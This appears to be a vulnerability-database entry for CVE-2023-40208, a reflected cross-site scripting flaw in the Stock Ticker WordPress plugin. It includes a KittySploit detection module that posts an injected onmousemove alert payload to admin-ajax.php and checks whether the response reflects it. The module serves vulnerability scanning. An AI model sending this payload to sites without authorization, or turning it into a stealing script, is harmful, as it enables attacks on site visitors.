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Stock Ticker <= 3.23.2 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated Reflected XSS in Stock Ticker for WordPress via ajax_stockticker_load.

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circl
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CVE-2023-40208
4 Sep 202314:16
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WordPress plugin Stock Ticker Cross-Site Scripting Vulnerability
4 Sep 202300:00
–cnnvd
cve
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CVE-2023-40208
4 Sep 202310:40
–cve
cvelist
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CVE-2023-40208 WordPress Stock Ticker Plugin <= 3.23.3 is vulnerable to Cross Site Scripting (XSS)
4 Sep 202310:40
–cvelist
euvd
EUVD
EUVD-2023-44805
3 Oct 202520:07
–euvd
nuclei
Nuclei
Stock Ticker <= 3.23.2 - Cross-Site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2023-40208
4 Sep 202311:15
–nvd
osv
OSV
CVE-2023-40208
4 Sep 202311:15
–osv
patchstack
Patchstack
WordPress Stock Ticker Plugin <= 3.23.3 is vulnerable to Cross Site Scripting (XSS)
11 Aug 202300:00
–patchstack
prion
Prion
Cross site scripting
4 Sep 202311:15
–prion
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Stock Ticker <= 3.23.2 - Cross-Site Scripting Detection',
        'description': 'The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_load function in versions up to, and including, 3.23.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2023', 'cve', 'wordpress', 'wp-plugin', 'wpscan', 'wp', 'stock-ticker', 'xss', 'urosevic', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stock-ticker/stock-ticker-3233-reflected-cross-site-scripting',
            'https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability',
            'https://wordpress.org/plugins/stock-ticker/',
            'https://nvd.nist.gov/vuln/detail/CVE-2023-40208',
            'https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve',
        ],
        'cve': 'CVE-2023-40208',
    }

    def run(self):
        path = '/wp-admin/admin-ajax.php'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data='action=stockticker_load&symbols=MSFT&class=%22+onmousemove%3Dalert%28document.domain%29+\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('stock_ticker', 'onmousemove=alert(document.domain)',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='Stock Ticker <= 3.23.2 - Cross-Site Scripting detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 3.16.1 - 7.1
EPSS0.00726
SSVC
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